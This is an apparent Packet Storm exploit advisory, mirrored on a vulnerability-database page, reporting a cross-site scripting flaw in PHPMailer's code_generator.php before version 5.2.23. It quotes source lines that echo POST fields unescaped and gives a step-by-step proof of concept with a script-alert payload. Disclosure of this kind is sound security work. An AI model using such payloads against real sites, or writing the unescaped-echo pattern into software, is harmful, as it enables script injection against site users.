Lucene search
K

PHPMailer Cross Site Scripting

🗓️ 25 Jun 2017 00:00:00Reported by Shahab ShamsiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

PHPMailer Cross Site Scripting vulnerability in version 5.2.2

Code
`[-] Title : PHPMailer < 5.2.23 - Cross-Site Scripting  
[-] Author : Shahab Shamsi  
[-] Software Link : https://github.com/PHPMailer/PHPMailer  
[-] Version: [ 5.2.23 ]  
[-] Tested on : [ Kali , Windows ]  
[-] Category : Webapps  
[-] Date : 2017-06-22  
  
  
Vulnerable page :  
/code_generator.php  
  
  
Vulnerable Source :  
312: echo $from_name;  
18: $from_name = $_POST['From_Name'] : '';  
  
313: echo $from_email;  
19: $from_email = $_POST['From_Email'] : '';  
  
314: echo $to_name;  
20: $to_name = $_POST['To_Name'] : '';  
  
315: echo $to_email;  
21: $to_email = $_POST['To_Email'] : '';  
  
  
  
  
POC :  
http://localhost/code_generator.php  
  
step 1 = Go To Web Page = http://localhost/code_generator.php  
  
Step 2 = In the box : "From Email Address" AND "To Email Address"  
  
Step 3 = input box , Add JavaScript Code : <script>alert('XSS')</script>  
  
  
  
************************  
* ==> Contact Me :  
* Telegram : @Shahab_Shamsi  
* Email : [email protected]  
* WebSilte : WwW.iran123.Org  
************************  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation